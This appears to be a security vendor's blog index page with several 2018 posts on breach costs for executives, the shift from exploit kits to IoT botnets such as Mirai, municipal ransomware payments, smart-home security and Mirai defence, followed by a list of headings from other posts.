Litigation and regulation can only do so much to reduce the impact of black swans, but it is up to companies to prepare and defend themselves from cyberattacks that can lead to rippling effects across industries.

[You might also like: What a Breach Means to Your Business]

If It’s So Rare, Why Should My Company Care?

Companies should concern themselves with black swans to understand the depth of the potential long-term financial and reputation damage and suffering. Radware’s research on C-Suite Perspectives regarding the relationship between cybersecurity and customer experience shows that these executives prioritize Customer Loss (41%), Brand Reputation (34%), and Productivity/Operational Loss (34%). Yet, a majority of these same executives have not yet integrated security practices into their company’s security infrastructure such as their application DevOps teams.

The long-term damage on a company’s finances is note-worthy enough. IT provider CGI found that for technology and financial companies alone, they can lose 5-8.5% in enterprise value from the breach. What often goes unreported, however, is the increased customer onboarding costs to combat against large-scale customer churn following breaches.

For the financial sector, global accounting firm KPMG found that consumers not only expect institutions to act quickly and take responsibility, but 48% are willing to switch banks due to lack of responsibility and preparation for future attacks, and untimely notification of the breaches. News publication The Financial Brand found that banking customers have an average churn rate of 20-40% in 12 months, while a potential onboarding cost per customer can be within the $300-$20,000 range. Network hardware manufacturer Cisco estimates as high as 20% of customers and opportunities could be lost.

Just imagine the customer churn rate for a recently-attacked company.

How does that affect me personally as a business leader within my company?

When data breaches occur, the first person that typically takes the blame is the CISO or CSO. A common misconception, however, is that everyone else will be spared any accountability. But the damage is not limited to just security leadership. Due to the wide array of impacts that result from a cyberattack, nearly all C-level executives are at risk; examples include but are not limited to Equifax’s CEO, Richard Smith, Target CEO Gregg Steinhafel and CIO Beth Jacob. This results in a sudden emptiness of C-Suite level employees. Suddenly, there’s a lack of leadership and direction, causing its own internal combination of instability.

Today’s business leaders need to understand that a data breach is no longer limited to the company’s reputation, but the level of welfare of its customers. Just the event of a data breach can shatter the trust between the two entities. CEOs are now expected to be involved with managing the black swan’s consequences; in times of these hardships, they are particularly expected to continue being the voice of the company and to provide direction and assurance to vulnerable customers.

A business leader can be ousted from the company for not having taken cybersecurity seriously enough and/or not understanding the true costs of a cyberattack – that is, if the company hasn’t filed for bankruptcy yet.

Isn’t this something that my company’s Public Relations department should be handling?

One of the biggest contributors to the aftermath chaos of a black swan is the poor/lack of communication from the public relations team. By not disclosing a data breach in a timely manner, companies incur the wrath of the consumer and suffer an even bigger loss in customer loyalty because of delays. A timely announcement is expected as soon as the company discovers the incident, or according to the GDPR, within 72 hours of the discovery.

A company and its CEO should not solely depend on their public relations department to handle a black swan nightmare. Equifax revealed its data breach six weeks after the incident and still hadn’t directly contacted those that were affected, instead of creating a website for customer inquiries. Equifax continues to suffer from customer distrust because of the lack of guidance from the company’s leadership during those critical days in 2017. At a time of confusion and mayhem, a company’s leader must remain forthcoming, reassuring and credible through the black swan’s tide-changing effects.

Following the cybersecurity black swan, a vast majority of consumers must also be convinced that all the security issues have been addressed and rectified, and the company has a plan in place for any future repeated incidents. Those that fail to do so are at risk of losing at least every 1 in 10 customers, exhibiting the potential reach of impact a black swan can have within a company alone, beyond financial aspects.

How Do You Prepare for When the Black Swan Strikes?

When it comes to the black swan, the strategic method isn’t limited to be proactive or reactive, but to be preemptive, according to news publication ComputerWeekly. The black swan is primarily feared for its unpredictability. The key advantage of being preemptive is the level of detail that goes into planning; instead of reacting in real-time during the chaos or having a universal one-size fits all type of strategy, companies should do their best to develop multiple procedures for multiple worst-case scenarios.

Companies cannot afford to be sitting ducks waiting for the black swan to strike, but must have prepared mitigation plans in place for the likelihood. The ability to mitigate through extreme cyber threats and emerging cyberattack tactics is a dual threat to the company, depending on the level of cybersecurity preparation a company possesses. By implementing a strong cybersecurity architecture (internal or third-party), companies can adapt and evolve with the constant-changing security threats landscape; thereby minimizing the opportunities for hackers to take advantage.

In addition to having a well-built security system, precautions should be taken to further strengthen it including WAF Protection, SSL Inspections, DDoS Protection, Bot Protection, and more. Risk management is flawed due to its nature of emphasis on internal risks only. What’s been missing is companies must do more to include the possibilities of industry-wide black swans, such as the Target data breach in 2013 that later extended to Home Depot and other retailers.

It’s Time To Protect Sensitive Data

In the end, the potential impact of a black swan on a company comes down to its business owners. Cybersecurity is no longer limited to a CISO or CSO’s decision, but the CEO. As the symbol and leader of a company, CEOs need to ask themselves if they know how their security model works. Is it easily penetrated? Can it defend against massive cyberattacks? What IP and customer data am I protecting? What would happen to the business if that data was breached?

Does it protect sensitive data?

Read “Radware’s 2018 Web Application Security Report” to learn more.

Download Now

IoT Botnets on the Rise

October 2, 2018 — by Daniel Smith — 3

Over the last two years, the criminal community has shifted its focus away from exploit kits as a mean of payload delivery and began focusing on exploiting IoT devices for the purpose of botnet development.

Botnets are all the rage and have become more advanced than the days of Sub7 and Pretty Pack. They possess the capability to target multiple devices on different architectures and infect them with a diverse range of payloads. But why are exploit kits falling out of favor and where is the evolution of botnets going?

Exploit kits in general are prepackaged toolkits that focus on compromising a device with a specific set of exploits. Typically, a victim is directed in a number of different ways to an attack page where the exploit kit will target an application in a browser such as Adobe Flash, Java or Silverlight. Once the victim is compromised by the exploit kit, it will drop and run a malicious payload on the targeted machine. What that payload is depends on the criminal or the person leasing the exploit kit for the day, but today they are mainly used to distribute ransomware or crypto mining payloads.

Exploit kits, a once popular avenue for an attack are now barely used due to the popularity of other attack vectors. Another major reason for the decrease in exploit kits activity is a result of authors abandoning their projects. But why did they abandon their project? Many experts would agree that this was the result of updated browser security and limited availability of undisclosed exploits needed to update their kits.

Unlike IoT devices, Adobe and Java exploits tend to be patched as soon as they become aware of the problem. This is a major challenge for criminals and one that involves a lot of effort and research on the criminals’ behalf. So the attacker is left with a choice. Invest time and research into an undiscovered exploit, or target devices that are rarely maintained patched or updated.

Enter: The IoT Botnet

Today modern botnets are mainly comprised of infected IoT devices such as cameras, routers, DVRs, wearables and other embedded technologies. The evolution in the botnet landscape highlights the security risks from millions of Internet-connected devices configured with default credentials or manufactures who won’t issue updates. Hackers can build enormous botnets consisting of a wide variety of devices and architectures because of this.

In comparison to web browser exploits, IoT devices come with poor security features such as open ports and default credentials. They are also poorly maintained and hardly receive updates. The process of capturing devices for a botnet is a fairly simple task that’s mainly automated. Hackers typically compromise these devices via brute force login. They have also recently evolved to inject exploit via open ports to compromise devices. They leverage these exploits typically after a researcher discloses a vulnerability.

Overall it is an automated process in which a bot is scanning the internet to identify potential targets and sending that information back to a reporting process. If a match is found, the device is exploited with an injection exploit and a malicious payload is downloaded to the device. The payloads downloaded today can vary, but it mainly gives the bot-herder the ability to remotely control the infected device just like a traditional PC botnet.

IoT botnets continue to evolve and they are becoming more versatile. It wasn’t long ago when Mirai reached the 1tbps mark but the process of how it was done has improved, leading many of us in the industry to worry about the next super attack.

[You might also like: The Evolution of IoT Attacks]

Mirai was simply a botnet comprised of infected IoT devices who left telnet open and utilized 61 default credentials found on popular devices. Because the port was left open to the world and users didn’t change their password, the attacker was able to capture a large number of exposed devices.

Before Mirai’s success, there was Gafgyt and Aidra. Both of these are IoT botnets as well. They spread by infecting vulnerable routers with default credentials. These botnets were successful. In fact, Gafgyt still continues to move in lockstep with Mirai. However, after the publication of the Mirai source code, the field became over saturated and bot-herders started incorporating patches to prevent other malware and herders from infecting their captured device. This change forced herders to look for a new way of capturing devices.

Shortly after, new Mirai variants started appearing. This time, instead of using default credentials they started incorporating exploits to target vulnerable devices. Attacker Best Buy used a modified variant that leveraged the TR-069 RCE exploit in an attempted to infect hundreds of thousands of Deutsche Telekom routers. Following Best Buy, IoT reaper appeared with borrowed code from Mirai, but this time included the addition of a LUA execution environment so more complex exploits could be leveraged to enslave devices. As a result, IoT reaper came loaded with nine exploits.

Hajime was not as elaborate as IoT reapers but it did combine the default credentials found in the original Mirai sample and the TR-069 Exploit leveraged by Best Buy. The Omni Botnet, another variant of Mirai was found to contain two new exploits targeting Dasan GPON routers. And just recently a Mirai sample was discovered and found to contain 16 exploits, including the Apache Strut vulnerability used against Equifax while the newest variant of Gafgyt was found to contain an exploit targeting SonicWalls Global Management System.

[You might also like: Defending Against the Mirai Botnet]

These two recent discoveries highlight a major change in their targeting strategy. This indicated a shift from targeting consumer devices to unprotected and rarely updated enterprise devices putting more pressure on the industry to ensure devices are updated in a timely manner.

Today we see Botnet development filling the void of Exploit kits as they incorporate more attack vectors and exploits into their deployments. Keep in mind that it’s not just about the multiple exploits. It also has to do with the speed in which exploitation occurs in the wild.

One of the main reasons we are seeing exploit kits fall out of favor is due to the improved browser security and speed in which the industry patches vulnerabilities targeting Flash, Java and Silverlight. This is not seen in the IoT botnet world where vulnerabilities are rarely patched.

At the end of the day, cybercriminals are following the money by taking the path of least resistance. Exploit kits over the last several years have been deemed high maintenance and hard to maintain due to improved security practices and a diminishing availability of private exploits.

We are also seeing cybercriminals looking to maximize their new efforts and infection rate by targeting insecure or unmaintained IoT devices with a wide variety of payloads ranging from crypto mining and ransomware to denial of service and fraud.

In the recent months, we have also seen a handful of botnets targeting enterprise devices which indicated an intention to move from targeting consumer devices to target enterprise devices that are poorly maintained and rarely updated.

Read: “When the Bots Come Marching In, a Closer Look at Evolving Threats from Botnets, Web Scraping & IoT Zombies”

Download Now

Cities Paying Ransom: What Does It Mean for Taxpayers?

September 25, 2018 — by David Hobbs — 1

On September 1, Ontario’s Municipal Offices experienced a cyberattack that left their computers inoperable when Malware entered its systems and rendered its servers useless. The municipality was faced with paying a ransom to the attackers or face the consequences of being locked out of its systems. Per the advice of a consultant, the city paid an undisclosed amount of ransom to its attackers.

Only a couple months earlier, the Town of Wasaga Beach in Ontario, faced the same issue and paid one bitcoin per server. It spent 11 Bitcoins, valued at the time at $144,000, to regain control of 11 servers. The town negotiated with the attackers to reduce the price to $35,000. After paying the ransom, Wasaga Beach assessed the damages to its city at $250,000 for loss of productivity and reputation.

This scenario has become commonplace today. Cities, municipalities, and government agencies have all experienced ransom attacks. But ultimately taxpayers are the ones that pay the bill for these cyberattacks. The city of Atlanta projected $2.6M for ransomware recovery in May of 2018. Atlanta chose not to pay the ransom, and instead allocated the funds to incident response.

Have these cities actually tested backup systems and disaster recovery within the last 2-3 months? As public entities, we would ideally have full transparency and an understanding of the capabilities in place to protect public infrastructure.

Why have certain cites lacked transparency about the decision to pay attackers? Could the reasons for poor public disclosure be a lack of expertise and IT security spending, fear of public criticism, or actual weaknesses in their IT systems?

[You might also like: Defending Against the Mirai Botnet]

Should there be disclosure laws for public sectors concerning data breaches and malware events?

If a city is constrained with IT budgets preventing their IT department from making advances in cybersecurity protection, do its citizens get to vote on how IT is handled? What if outsourcing IT to a managed services expert reduced costs (and headcount/jobs) while providing greater security? Would municipalities be better off if they could focus on delivering services to their citizens without having to worry about IT security?

Considering there aren’t a ton of checks and balances (and possibly budget), is this going to become the norm for hackers to target?

Private sector companies have been forced to take cybersecurity more seriously and according to some projections, will spend over $1 trillion on global digital security through 2021. Bank of America and J.P. Morgan Chase each spend around $500 million a year on cybersecurity. Meanwhile, federal cybersecurity spending continues to lag, with some estimates suggesting it will reach a meager $22 billion by 2022.

Is the answer to the problem to start looking at better disclosure in IT spending? Should the public sector IT be outsourced to IT experts and moved to the cloud? Will the taxpayers perpetually be on the hook for poor IT security protection in the public sector?

There are hosted solution providers today that provide secure solutions for cities. Some cloud providers already have turnkey government solutions available for sale. Some of these platforms include city management, fare and tolls, police and intelligence, prison management, court management, video management, and safe city management. What if the taxpayers found that it cost less money and did a better job of security? Would the voters be able to push public transparency and cost reduction through? How many more events like this will it take to move government IT into better hands?

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Don’t Let Your Data Seep Through The Cracks: Cybersecurity For the Smart Home

September 20, 2018 — by Anna Convery-Pelletier — 4

Technology and wireless connectivity have forever changed households. While we don’t have the personal hovercrafts or jetpacks that we were promised as children, infinite connectivity has brought a whirlwind of “futuristic” benefits and luxuries few could have imagined even a decade ago. But more importantly, it has re-defined how the modern domicile needs to be managed.

Just as with an enterprise network, cybersecurity concerns also impact the home network. The onus is on us, the consumer, to take responsibility for home network security because device manufacturers have not and the risks associated with any data breach is hugely detrimental in the digital age we live in.

A home network is no longer just laptops, tablets, smartphones and printers. The explosion of the Internet of Things (IoT) has resulted in network connectivity to nearly everything. Everyday household items – appliances, cameras, routers, baby monitors, toys, televisions, thermostats, heating systems, etc. are now connected to each other and the internet. But with all this network connectivity comes risk. Why is that and more importantly, what should you do about it?

While many consumers naively assume that developers behind new network-connected equipment must be thinking long and hard about security, in truth they aren’t. To be first to market, design zero-setup equipment, and to deliver a more fulfilling consumer experience, security on many IoT devices is woefully inadequate and often times an afterthought. In addition, many of these network-connected devices leverage bare bone operating systems that have neither the capacity nor processing power for sophisticated anti-virus/malware tools.

It’s common knowledge that home security such as burglar alarms and even door locks are connected to the internet. What many consumers don’t realize is that this creates a huge exposure because the Wi-Fi serves as a new vulnerability to the house’s physical security system. While useful for providing remote access to your next-door neighbors when the dog needs to be let outside, tech-savvy thieves need only to hack the Wi-Fi to gain access to security controls, monitor resident’s daily habits and gain physical access to the house.

IoT devices connected to e-commerce sites is yet another. For example, a smart fridge integrated into somebody’s Amazon Fresh or FreshDirect account (and access to banking/credit card information) allows someone to purchase groceries or other kitchen necessities right from the refrigerator door. This seamless connectivity can be a dream come true for today’s digital consumer, but can also provide a virtual playground from which hackers can gain access to digital bounties via a single vulnerability.

Smart Homes Require Smart Planning and Smart Security

Smart homes are here and are only going to get smarter. In effect, they are no different from a small corporate network, and as such, they need similar levels of planning and security, especially when considering the growing trend of working from home. However, many consumers simply don’t have the desire to run them securely. Most importantly, consumers are not reviewing and taking the necessary security precautions like they do other aspects of their life.

[You might also like: Cybersecurity & The Customer Experience: The Perfect Combination]

Just like security must become the very fabric of a business, cybersecurity planning – the act of reviewing network-connected devices, where sensitive data is stored and potential security vulnerabilities – must become a critical component of the smart home.

On a yearly basis, my family sits down and does financial planning to review everything from vacations to unexpected expenses. We’ve now included conversations about security planning and ask ourselves some questions such as:

Have I taken an inventory of and actually know all of the various network-connected devices that are in my home? Have security updates been applied to home computers and network-connected devices? Do any outdated devices, such as routers, need to be changed out by the vendor? Are my passwords secure and have I backed up any critical/sensitive information?

These types of questions are what modern-day consumers must be asking, in addition to executing the multitude of security best practices regarding password management, device protection, and backing up sensitive information. Even traditional consumer-focused antivirus software providers now offer multi-layered security devices meant specifically to safeguard home networks, routers and IoT devices.

[You might also like: Personal Security Hygiene]

To truly enjoy the promise of the smart home, it needs to be protected from cyber intruders just as vicariously as it’s protected against physical intruders. Similar to the lessons that leading organizations and name brands have learned in recent years, the best combination is taking proactive measures and leveraging consumer security tools that are easy to implement, easy to operate and does not require a great deal of expertise. It’s time for consumers to become proactive and smarter about home cybersecurity.

Read “Consumer Sentiments: Cybersecurity, Personal Data and The Impact on Customer Loyalty” to learn more.

Download Now

Defending Against the Mirai Botnet

September 12, 2018 — by Ron Winward — 2

When attacks from the Mirai botnet hit the network in 2016, we all knew something was different. You could feel it. In a 31-day span, the internet suffered three record-breaking attacks; Brian Krebs’ at 620 Gbps, OVH at 1.2 Tbps, and the widespread outages caused by the attack on Dyn DNS. Also within that window, the source code for Mirai was released to the world.

Mirai no longer holds the record for the largest volumetric attack on the Internet. That honor goes to the Memcached reflection attacks on Github. In fact, once the code was released, the botnets went from a few botnets with several enslaved members, to several botnets with fewer members. More botnets were fighting to enslave a pool of devices.

[You might also like: The Dyn Attack – One Year Later]

Attackers Get Creative

Attackers, as they always do, got creative. By modifying the Mirai code, attackers could discover new devices by leveraging other known exploits. While many attackers were fighting for telnet access to IoT devices with traditional Mirai, new variants were developed to find additional methods of exploitation and infection. Examples include TR-064 exploits that were quickly added to the code (and used to infect the endpoints of service providers), a 0-day exploit on Huawei routers in several botnets, and the Reaper botnet, which includes 10 previously disclosed CVEs.

One thing that has remained the same, however, is the attack vectors that are included in the modern botnets. They’re largely all based on Mirai, and even if their infection methods differ, the attacks don’t change much.

For example, Masuta and DaddysMirai include the original Mirai vectors but removed the HTTP attack. Orion is an exact copy of the original Mirai attack table (and just like Mirai, has abandoned the PROXY attack). Owari added two new vectors, STD and XMAS.

Understanding IoT Attacks

My background in network engineering naturally made me curious about the impact of these attacks on the network. What do they look like in flight? How is each one different? Is one more of a threat than another? I have been studying the attack vectors since they were released in 2016, but with the observation that new variants largely included the same attacks (and some twists), it was clearly worth revisiting.

[You might also like: IoT Threats: Whose problem is it?]

Today we launch a new publication, IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants. This is a collection of research on the attack vectors themselves and what they look like on the wire. You will see that they’re not much different from each other, with the only truly interesting change being the introduction of a Christmas Tree attack in Owari. But that too had some interesting challenges. You’ll have to read the guide to find out why.

It’s important to understand the capabilities of Mirai and other IoT botnets so that your organization can truly comprehend the threat. Manually reacting to these attacks is not viable, especially in a prolonged campaign. In many cases, it is possible to block some of these attacks on infrastructure devices such as core routers or upstream transit links, but in many cases, it’s not.

Effectively fighting these attacks requires specialized solutions, including behavioral technologies that can identify the threats posed by Mirai and other IoT botnets. It also requires a true understanding of how to successfully mitigate the largest attacks ever seen. Hopefully, this handbook provides the guidance and insight needed for each vector if your organization ever needs to take emergency measures.

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Older Posts

main

Read “Radware’s 2018 Web Application Security Report” to learn more.

Share this:

Digital Fraud

Ad Fraud & Botnets

The Future of Ad Fraud

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

DemonBot

Credential Stuffing Campaign

DNS Hijacking Targets Brazilian Banks

Nigelthorn Malware

Stresspaint Malware Campaign

DarkSky Botnet

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

The Attackers and their Victims

Hadoop YARN Attack Surface

Types of Abuse

The Bitbucket Crypto Miner

YSDKOP, DemonBot in Hiding

Supra, DemonBot-ng

Hoho, a Botnet by Greek.Helios

prax0zma.ru

A Malware Zoo

Compromised Servers

When…Not If

(*1) Hadoop YARN Exploits

(*2) zz.sh script

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

Hadoop YARN Exploits

DemonBot v1 – © Self-Rep-NeTiS

DemonCNC

DemonBot

Bot_ip

Port

Build

Arch

OS

Malicious payloads

IOC

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

If It’s So Rare, Why Should My Company Care?

How does that affect me personally as a business leader within my company?

Isn’t this something that my company’s Public Relations department should be handling?

How Do You Prepare for When the Black Swan Strikes?

It’s Time To Protect Sensitive Data

Read “Radware’s 2018 Web Application Security Report” to learn more.

Share this:

Enter: The IoT Botnet

Read: “When the Bots Come Marching In, a Closer Look at Evolving Threats from Botnets, Web Scraping & IoT Zombies”

Share this:

Should there be disclosure laws for public sectors concerning data breaches and malware events?

Considering there aren’t a ton of checks and balances (and possibly budget), is this going to become the norm for hackers to target?

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

Smart Homes Require Smart Planning and Smart Security

Read “Consumer Sentiments: Cybersecurity, Personal Data and The Impact on Customer Loyalty” to learn more.

Share this:

Attackers Get Creative

Understanding IoT Attacks

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this: